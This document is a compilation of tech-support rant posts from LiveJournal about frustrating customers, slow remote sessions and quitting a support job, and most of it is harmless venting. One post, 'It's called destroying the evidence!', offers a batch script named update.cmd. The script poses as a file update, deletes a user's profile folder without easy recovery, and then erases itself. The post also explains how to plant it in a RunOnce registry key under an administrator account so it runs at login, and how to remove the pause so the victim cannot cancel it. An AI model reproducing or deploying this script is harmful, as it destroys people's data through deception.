Finally...

[phierce921.livejournal.com]

So yesterday I gave my notice.

As of Sunday I will no longer be a tech support agent. I will once again hang up my headset, for good this time I hope. Not that I do not value my years as a Tech Support rep. It has taught me so much. Nothing more important that... NEVER, EVER under ANY circumstances, believe the customers. EVER!

Well I am not straying too far from "Tech Support" as I am moving into a duel role job, Sys. Administrator and Jr. Programmer. 70% of my time will still be dealing with people who should not be allowed outside without supervision. I just get to do it in person. This means no Mute button :(

...my precious...

oh sorry... where was I? oh yeah. So I will have to deal with them in person, but now 30% of my time will be devoted to programming and I will not be chained to my desk and the clock as much. These I will not miss.

Well I better get busy deleting all my personal files off this PC...

You needs to!

[normal1.livejournal.com]

This lady called, it was real funny.

Apparently she had a "computer tech" call in and configure her account with us (that means add the primary login and do anything internet related) - turns out he created the primary login which was basically his name. So this beotch calls wanting another email address and all that. I give her the information and she flips.

Anywhom, eventually we get to the part where I tell her she has up to 6 e-mail accounts she can add, we're in the process of adding the email address but she has to leave so she puts her son on the phone - and tells me "YOU NEED TO TELL HIM HOW TO ADD THE EMAIL ADDRESS AND HOW TO CONFIGURE IT" - There is absolutely no respect for people in public service man, then people have the nerve of asking for GREAT customer service when they dont respect those who work in the field. Frigging morons.

brains like rocks

[anivair.livejournal.com]

So when I say to our salesmen, "You can't log into a dummy terminal because it will lock the terminal up. You can only log in from a PC" do you think that's complicated or confusing?

I didn't think so, but one salesman manages to kill three terminals today one right after the other in rapid succession.

He's got a brain like soggy rocks.

And as a result I have ot log the entire network off at lunch just to get three employees back on.

Moron.

That is all.

(no subject)

[xdownfornowx.livejournal.com]

Does anyone know of any documented cases of a tech's head
imploding due to user stupidity? I am trying to compile a list of occupational
hazards for health insurance. And after my last user interaction I felt some
major pressure in my head. While we're at what are some of the other hazards
(metacarpal, induced psychosis, bleeding knuckles,Tourette Syndrome, etc.)?

Slow... slower...

[klytus.livejournal.com]

How slow is slow? First, Netmeeting into someone’s computer over dial-up. Not slow enough for you? Now navigate deep into the corporate network while controlling the user’s computer this way. Still not slow enough? Now run an executable from that hip-deep directory. This is to watching paint dry as watching paint dry is to watching NASCAR.

How do we make this worse? Add irony: this was being done so the user can download an upgrade that will allow her to use one of her utilities over a high-speed connection that she won’t be getting installed until next week.

Remember, it's down the road, not across the street...

Customer e-mails...

[naggy.livejournal.com]

A picture may be worth a thousand words, but when no identifying information is in the picture, and you don't provide an explanation of your problem in the e-mail that you sent the picture in, then your picture is merely screaming "I'm such a f@#%ing moron!" 200 times.

Yet another reason why I want a blackboard put in every cubicle.
"Sir, please turn around and pick up your chalk. Now write 'I will not send pictures to the help desk without an accompanying question and description' 100 times."

Worst combination?

[caerleon.livejournal.com]

I don't know whether to laugh or cry.. I've just been repairing a machine.. a poor little AMD K6-200 with 96MB struggling manfully to run XP Pro.. oh dear.. oh dear, oh dear, oh dear..

"It's called destroying the evidence!"

[jecook]

Because a few people asked for it.

!!!WARNING!!! This script deletes data without the possibility of easy recovery. No warrenty provided. Use at your own risk, I'm not responsible for your stupidity. Keep limbs inside ride at all time. Do not taunt HappyFunBall. The Computer is your Friend.

To run it on login, you'll need to add a registry entry pointing to the batch file in:
Hkey\Users\[sid]\Software\Microsoft\Windows\Runonce
create a new String Value, call it whatever you want, and put the path to the batch file in for the data. It'll run once (like the reg key states) and be removed afterwards. Seeing as program install updates this way sometimes, It's a useful thing to exploit.

Look under HKLM\SOFTWARE\Microsoft\Windows NT\Current Version\ProfileList and find the Administrator account to match the SID to user.

Of course, the profile has to already exist first... ;)

For domain situations, you'd be best advised to park it under the domain administrator, if you have access to it. Otherwise, local Administrator will do fine. It's pretty obvious what it does. It also deletes itself after it's done... ::snicker::

It runs under the guise of "Updating files", which some programs actaully spawn a DOS window to do.

Removing the "pause command (or commenting it out) removes the wimp option.

"update.cmd"
---
@ Echo off
@echo Ready to Update Files.
pause
@echo Updating... Please wait...
c:
cd \
cd "Documents and Settings"
rmdir /s /q username
@ Echo Update Complete.
cd [wherever you created the file. I'd recommend parking it somewhere under a directory]
erase update.cmd

Irritated with lusers

[prozacnation.livejournal.com]

Ah, a nice customer today.

While doing technical support in a chat format, I had a customer come in stating this about a product that we work with and do support for.

Luser: Why doesnt my automatic update on [product] work any longer???

I couldn't figure out what he was trying to say. Was it Antivirus? Was it Anti-spyware or is it that he cannot get the files for the updates for the virus protection?

From that one statement I had to probe to find out what he was talking about.

Me: Are you receiving an error message?

Luser: No it just wont let me set it up.

Hmmm. No clue. Keep probing. Wait! He added something to the conversation!

Luser: I can run scans manually. I just cant set up schedueled scans

Sounds like Anti Virus right? That's what I thought. Then I started asking more questions about the AntiVirus function.

That's not what he wanted !!!

Duh! How could I be wrong? I even directed him to the Anti Virus page and scheduling scans function but he said that he couldn't schedule them and that was the problem! No error message. Nothing! It just don't work! [/his words]

WAIT! [buzzer] THAT IS ABSOLUTELY WRONG!

This is how the conversation ended. He didn't want any help with the Anti-virus portion. He just was so pissed off because he wanted help with...

Luser: Jesus Christ!!!! anti-spyware

Don't let the chat door hit your ass on the way out after leaving in a huff. Maybe if he was more articluate in what he wanted, I could've figured out what his sorry brain was trying to say.

I'm trying to figure out when Jesus had anything to do with Anti spyware.

Then later on that day, I was monitored on a chat that had a guy setting up Outlook Express and was receiving an error message.

He never mentioned that he was trying to set it up at work using their server.

He was in the computer department of the company and didn't know that he had to put in the work's server for outlook and using our incoming server. ::thumps head on desk:: And I get marked off for not asking "Where are you? Home or at work?" I'm so wrong to assum that someone is using this at home and should be using the Work outlook program for ....maybe....work?

WTF?!